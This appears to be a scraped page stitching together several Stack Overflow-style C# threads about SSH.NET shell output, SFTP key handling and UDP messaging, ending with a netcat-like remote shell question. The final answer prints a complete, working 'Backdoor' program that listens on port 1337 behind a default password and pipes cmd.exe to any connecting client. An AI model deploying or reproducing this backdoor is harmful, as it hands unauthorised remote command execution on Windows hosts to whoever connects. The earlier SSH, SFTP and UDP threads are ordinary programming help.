How can I get command output from ShellStream without it timing out? - c#

I use ssh.net to execute commands in C#
but the results returned from each command come at different times.
I used thread but it takes timeout with a specific value.
I need to get the output at the moment it comes
My code:
protected void Page_Load(object sender, EventArgs e)
{
string Username = "xxxxxxxx";
string Password = "xxxxxxxxxx";
string IP = "xxxxxxxxxx";
int Port = xxxxxxxxx;
SshClient client = new SshClient(IP, Port, Username, Password);
client.Connect();
var shell = client.CreateShellStream("xxxx", 5000, 10000, 10000, 10000, 40072);
string output = ArrangeData("stelnet xxxxxxxx", shell);
output += ArrangeData("cmd1", shell);
output += ArrangeData("cmd2", shell);
output += ArrangeData("cmd3", shell);
}
public static string ArrangeData(string cmd, ShellStream sh)
{
StreamReader reader = null;
reader = new StreamReader(sh);
sh.Flush();
sh.WriteLine(cmd);
---->Thread.Sleep(timeout);
string output = reader.ReadToEnd();
return output;
}
The current solution is time out in thread
However, I need to remove this timeout as I do not know when it responds to my commands.

Related

Is it safe to hardcode a PPK file into my code?

I created an app that stores and downloads data from a server (it's key-based authentication, not password btw). However, I want to make it things simpler for everyone by hardcoding the key file location. On one hand, it will save a bit of time for people using it, but on the other hand, I am concerned about the security, lest someone abuses the data in the server. If I share my app with a third party, is this practice safe, since anyone can access the server? It's not like I'm sharing the source code. I'm just sharing the program itself.
Code
private void button1_Click_1(object sender, EventArgs e) //Browsing for Key File
{
OpenFileDialog keyOfd = new OpenFileDialog();
keyOfd.Title = "Browse for Key File";
keyOfd.Filter = "Key Files(*.pem;*.ppk)|*.pem;*.ppk";
if (keyOfd.ShowDialog() == DialogResult.OK)
{
textBox1.Text = keyOfd.FileName;
var privateKey = new PrivateKeyFile(textBox1.Text);
populateData();
using (var client = new SftpClient(Host, Port, Username, new[] { privateKey }))
{
client.Connect();
const string workingdirectory = "/home/ubuntu/";
client.ChangeDirectory(workingdirectory);
}
}
}
void button2_Click_1(object sender, EventArgs e)
{
try
{
var privateKey = new PrivateKeyFile(textBox1.Text);
const string workingdirectory = "/home/ubuntu/";
using (var client = new SftpClient(Host, Port, Username, new[] { privateKey }))
{
client.Connect();
client.ChangeDirectory(workingdirectory);
string uploadFile = System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyDoc‌​uments), "User Data\\") + "userData.csv";
using (var fileStream = new FileStream(uploadFile, FileMode.Open))
{
client.BufferSize = 4 * 1024; // bypass Payload error large files
client.UploadFile(fileStream, Path.GetFileName(uploadFile));
}
}
}
catch (Exception err)
{
ErrorWindow eWindow = new ErrorWindow();
eWindow.label4.Text = err.GetType().ToString();
eWindow.errorDetails.Text = err.Message;
eWindow.ShowDialog();
}
this.Close();
}

Display complete SSH shell output including login message and prompt in C#

I'm trying to create a simple SSH client in C#. This is my code now:
using Renci.SshNet;
public static void Main(string[] args)
{
AuthenticationMethod method = new PasswordAuthenticationMethod("pi", "raspberry");
ConnectionInfo connection = new ConnectionInfo("192.168.91.134", "pi", method);
SshClient client = new SshClient(connection);
if (!client.IsConnected)
{
Console.WriteLine("Not Connected...");
client.Connect();
}
while (true)
{
string command = Console.ReadLine();
SshCommand response = client.RunCommand(command);
Console.WriteLine(response.Result);
}
}
Problem:
like this, it shows just the response of the command sent. I would like the entire output, also with the user and the current directory (like a classic SSH shell).
if I want to launch the sudo su command giving the password it doesn't work...
(in the future I want to add the output to a listbox and take the input from a texbox in a winForms app)
Thank you in advance for your help
This is my implementation:
using System;
using System.Threading;
using Renci.SshNet;
public class Program
{
public static void Main(string[] args)
{
SshClient sshClient = new SshClient("192.168.91.134", 22, "pi", "raspberry");
sshClient.ConnectionInfo.Timeout = TimeSpan.FromSeconds(120);
sshClient.Connect();
ShellStream shellStreamSSH = sshClient.CreateShellStream("vt-100", 80, 60, 800, 600, 65536);
Thread thread = new Thread(() => recvSSHData(shellStreamSSH));
thread.Start();
while (true)
{
string command = Console.ReadLine();
shellStreamSSH.Write(command + "\n");
shellStreamSSH.Flush();
}
}
public static void recvSSHData(ShellStream shellStreamSSH)
{
while (true)
{
try
{
if (shellStreamSSH != null && shellStreamSSH.DataAvailable)
{
string strData = shellStreamSSH.Read();
Console.WriteLine(strData);
}
}
catch
{
}
System.Threading.Thread.Sleep(200);
}
}
}
In you want to implement an SSH terminal client (like PuTTY), you need to use SSH "shell" channel.
In SSH.NET, use SshClient.CreateShell or SshClient.CreateShellStream, not SshClient.RunCommand.

Displaying Output from SSH.NET

I am fairly new with C# and I am trying to write an SSH console application using the SSH.NET framework. So far I was able to connect to my server successfully, but now I am trying to run commands and have it display the result. Yet, my console comes out blank when I run my application. My end goal was to execute a set of commands and see the results at the end of it.
Program.cs
using Renci.SshNet;
class Program
{
//Login Parameter
const String Hostname = "somePort";
const int PortNumber = 22;
const String Username = "username";
const String Password = "root";
static void Main(string[] args)
{
//Bypass Keyboard authentication
KeyboardInteractiveAuthenticationMethod kauth = new KeyboardInteractiveAuthenticationMethod(Username);
PasswordAuthenticationMethod pauth = new PasswordAuthenticationMethod(Username, Password);
kauth.AuthenticationPrompt += new EventHandler<Renci.SshNet.Common.AuthenticationPromptEventArgs>(HandleKeyEvent);
//Grab info for connections
ConnectionInfo connectionInfo = new ConnectionInfo(Hostname, PortNumber, Username, pauth, kauth);
//Connect
using (SshClient client = new SshClient(connectionInfo))
{
try
{
//Connect to server
client.Connect();
Console.WriteLine("Connection successful");
var command = client.CreateCommand("ls");
var result = command.Execute();
command.Execute();
Console.WriteLine(result);
//Disconnect from server
client.Disconnect();
}
//Show exp message
catch (Exception exp)
{
throw exp;
}
}
}
//Handle two step auth
static void HandleKeyEvent(Object sender, Renci.SshNet.Common.AuthenticationPromptEventArgs e)
{
foreach (Renci.SshNet.Common.AuthenticationPrompt prompt in e.Prompts)
{
if (prompt.Request.IndexOf("Password:", StringComparison.InvariantCultureIgnoreCase) != -1)
{
prompt.Response = Password;
}
}
}
}
I don't know if you have resolved this issue yet, but the solution is simple in this case.
The function:
command.Execute()
doesn't return your result.
You have to execute like you did, but then grab the result via
command.Result
It would look something like this:
var command = client.CreateCommand("ls");
command.Execute();
var result = command.Result;
Hope i could help you.

UDP Connection Between Client and Server

Here is the server code of my program this is working, but after it sends data it gets stuck. I need it to be refreshed and ready for sending data again.
Server code:
private void button1_Click(object sender, EventArgs e) {
try {
String text = textBox1.Text;
UdpClient udpc = new UdpClient(text,8899);
IPEndPoint ep = null;
while (true) {
MessageBox.Show("Name: ");
string name = textBox2.Text;
if (name == "") break;
byte[] sdata = Encoding.ASCII.GetBytes(name);
udpc.Send(sdata, sdata.Length);
if (udpc.Receive(ref ep)==null) {
MessageBox.Show("Host not found");
} else {
byte[] rdata = udpc.Receive(ref ep);
string job = Encoding.ASCII.GetString(rdata);
MessageBox.Show(job);
}
}
} catch {
MessageBox.Show("Error Restarting");
}
Client code:
private void button1_Click(object sender, EventArgs e) {
try {
UdpClient subscriber = new UdpClient(8899);
IPAddress addr = IPAddress.Parse("127.0.0.2");
subscriber.JoinMulticastGroup(addr);
IPEndPoint ep = null;
for (int i = 0; i < 1; i++) {
byte[] pdata = subscriber.Receive(ref ep);
string strdata = Encoding.ASCII.GetString(pdata);
MessageBox.Show(strdata);
textBox1.Text = strdata;
pass = strdata;
}
subscriber.DropMulticastGroup(addr);
} catch {
Refresh();
MessageBox.Show("Not Found");
}
}
The Server can send data to one client . I want to send one client at a time. But after sending the data, the server gets stuck.
I need it do refresh and send data again for a client.
If I understood your code, from the server your sending data, then waiting for an answer. In the client, your just getting the data, but not sending anything back. And unless you provide timeout to the socket, it will wait indefinitely until something arrives.
You shouldn't use udpc.Receive() in the main UI thread (inside button1_Click). If you do, your aplication will hang until something arrives. Using a timeout isn't a solution either. The application will just hang until the timeout expires. Instead You must use a multiple threads. You can do so by using BeginReceive instead of Receive or by explicitly creating a new thread and using Receive there. If you google for "asynchronous udp sockets in c#" or something like that, then you will find plenty of examples on how to set it up correctly.
The udpc.Receive() Method on your server side, will Block Until a datagram receive from client.
UDP in not reliable. it means that server doesnt expect any ACK from other side. so you can simply remove this part of code. or if you need to ensure message arrival, run a separate thread for each client as follow:
private void button1_Click(object sender, EventArgs e) {
System.Threading.Thread Server_thread = new Thread(My_Send_Function);
Server_thread .Start();
}
private void My_Send_Function() {
try {
String text = textBox1.Text;
UdpClient udpc = new UdpClient(text,8899);
IPEndPoint ep = null;
while (true) {
MessageBox.Show("Name: ");
string name = textBox2.Text;
if (name == "") break;
byte[] sdata = Encoding.ASCII.GetBytes(name);
udpc.Send(sdata, sdata.Length);
if (udpc.Receive(ref ep)==null) {
MessageBox.Show("Host not found");
} else {
byte[] rdata = udpc.Receive(ref ep);
string job = Encoding.ASCII.GetString(rdata);
MessageBox.Show(job);
}
}
} catch {
MessageBox.Show("Error Restarting");
}
}

Writing a program with remote shell functionality like netcat

I am interested in writing a program which can do something like netcats "nc -L -d -p -t -e cmd.exe" command. So it provides a remote shell that is. I have tried piping output and input from and to cmd.exe and sending and receiving it over a socket but it doesn't really seem to work well. Are there any other ways to do it? I am programming in C# by the way.
This is some test code I wrote to test if I could make my own "shell". The output of this is what should be sent over a socket. The program, however, halts when it becomes time to read the output. This is only remedied by using the .readline() method, but I dont know how to detect when it should not read anymore lines.
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.Start();
StreamReader sr = p.StandardOutput;
StreamWriter sw = p.StandardInput;
while (true)
{
Console.Write(">> ");
string cmd = Console.ReadLine();
sw.WriteLine(cmd);
var resp = sr.ReadLine();
Console.WriteLine(resp);
}
Thanks.
Not sure if you still care about this but this may help you:
This is a C# Remote Shell
/*****************************************************************
*
* Created By DT
*
* ***************************************************************/
using System;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;
namespace BackdoorServer
{
public class Backdoor
{
private TcpListener listener; //ServerSocket object for listening
private Socket mainSocket; //Socket to handle client-server communication
private int port; //Port the server listens on
private String name; //The server name
private String password; //The server password
private bool verbose = true; //Displays messages in console if True
private Process shell; //The shell process
private StreamReader fromShell;
private StreamWriter toShell;
private StreamReader inStream;
private StreamWriter outStream;
private Thread shellThread; //So we can destroy the Thread when the client disconnects
private static int DEFAULT_PORT = 1337; //Default port to listen on if one isn't declared
private static String DEFAULT_NAME = "Server"; //Default name of server if one isn't declared
private static String DEFAULT_PASS = "password"; //Default server password if one isn't declared
public Backdoor()
{ //Use default settings
port = DEFAULT_PORT;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p)
{ //Define port only
port = p;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n)
{ //Define port and server name
port = p;
name = n;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n, String pass)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
}
public Backdoor(int p, String n, String pass, bool verb)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
verbose = verb;
}
////////////////////////////////////////////////////////////////////////
//the startServer method waits for a connection, checks the password,
//and either drops the client or starts a remote shell
////////////////////////////////////////////////////////////////////////
public void startServer() {
try {
if(verbose)
Console.WriteLine("Listening on port " + port);
//Create the ServerSocket
listener = new TcpListener(port);
listener.Start(); //Stop and wait for a connection
mainSocket = listener.AcceptSocket();
if(verbose)
Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint);
Stream s = new NetworkStream(mainSocket);
inStream = new StreamReader(s);
outStream = new StreamWriter(s);
outStream.AutoFlush = true;
String checkPass = inStream.ReadLine();
if(verbose)
Console.WriteLine("Client tried password " + checkPass);
if(!checkPass.Equals(password)) { //if the password is not correct
if(verbose)
Console.WriteLine("Incorrect Password");
badPass(); //Drop the client
return;
}
if(verbose)
Console.WriteLine("Password Accepted.");
shell = new Process();
ProcessStartInfo p = new ProcessStartInfo("cmd");
p.CreateNoWindow = true;
p.UseShellExecute = false;
p.RedirectStandardError = true;
p.RedirectStandardInput = true;
p.RedirectStandardOutput = true;
shell.StartInfo = p;
shell.Start();
toShell = shell.StandardInput;
fromShell = shell.StandardOutput;
toShell.AutoFlush = true;
shellThread = new Thread(new ThreadStart(getShellInput)); //Start a thread to read output from the shell
shellThread.Start();
outStream.WriteLine("Welcome to " + name + " backdoor server."); //Display a welcome message to the client
outStream.WriteLine("Starting shell...\n");
getInput(); //Prepare to monitor client input...
dropConnection(); //When getInput() is terminated the program will come back here
}
catch(Exception) { dropConnection(); }
}
//////////////////////////////////////////////////////////////////////////////////////////////
//The run method handles shell output in a seperate thread
//////////////////////////////////////////////////////////////////////////////////////////////
void getShellInput()
{
try
{
String tempBuf = "";
outStream.WriteLine("\r\n");
while ((tempBuf = fromShell.ReadLine()) != null)
{
outStream.WriteLine(tempBuf + "\r");
}
dropConnection();
}
catch (Exception) { /*dropConnection();*/ }
}
private void getInput() {
try {
String tempBuff = ""; //Prepare a string to hold client commands
while(((tempBuff = inStream.ReadLine()) != null)) { //While the buffer is not null
if(verbose)
Console.WriteLine("Received command: " + tempBuff);
handleCommand(tempBuff); //Handle the client's commands
}
}
catch(Exception) {}
}
private void handleCommand(String com) { //Here we can catch commands before they are sent
try { //to the shell, so we could write our own if we want
if(com.Equals("exit")) { //In this case I catch the 'exit' command and use it
outStream.WriteLine("\n\nClosing the shell and Dropping the connection...");
dropConnection(); //to drop the connection
}
toShell.WriteLine(com + "\r\n");
}
catch(Exception) { dropConnection(); }
}
////////////////////////////////////////////////////////////////////
//The drop connection method closes all connections and
//resets the objects to their null states to be created again
//I don't know if this is the best way to do it but it seems to
//work without issue.
////////////////////////////////////////////////////////////////////
private void badPass()
{
inStream.Dispose();
outStream.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
private void dropConnection() {
try {
if(verbose)
Console.WriteLine("Dropping Connection");
shell.Close();
shell.Dispose();
shellThread.Abort();
shellThread = null;
inStream.Dispose(); //Close everything...
outStream.Dispose();
toShell.Dispose();
fromShell.Dispose();
shell.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
catch(Exception) {}
}
static void Main(string[] args)
{
try {
Backdoor bd = new Backdoor();
if (args.Length == 1)
bd = new Backdoor(int.Parse(args[0]));
if (args.Length == 2)
bd = new Backdoor(int.Parse(args[0]), args[1]);
if (args.Length == 3)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2]);
else if (args.Length == 4)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2], bool.Parse(args[3]));
while (true)
{
bd.startServer();
}
}
catch(Exception) {}
}
}
}

Categories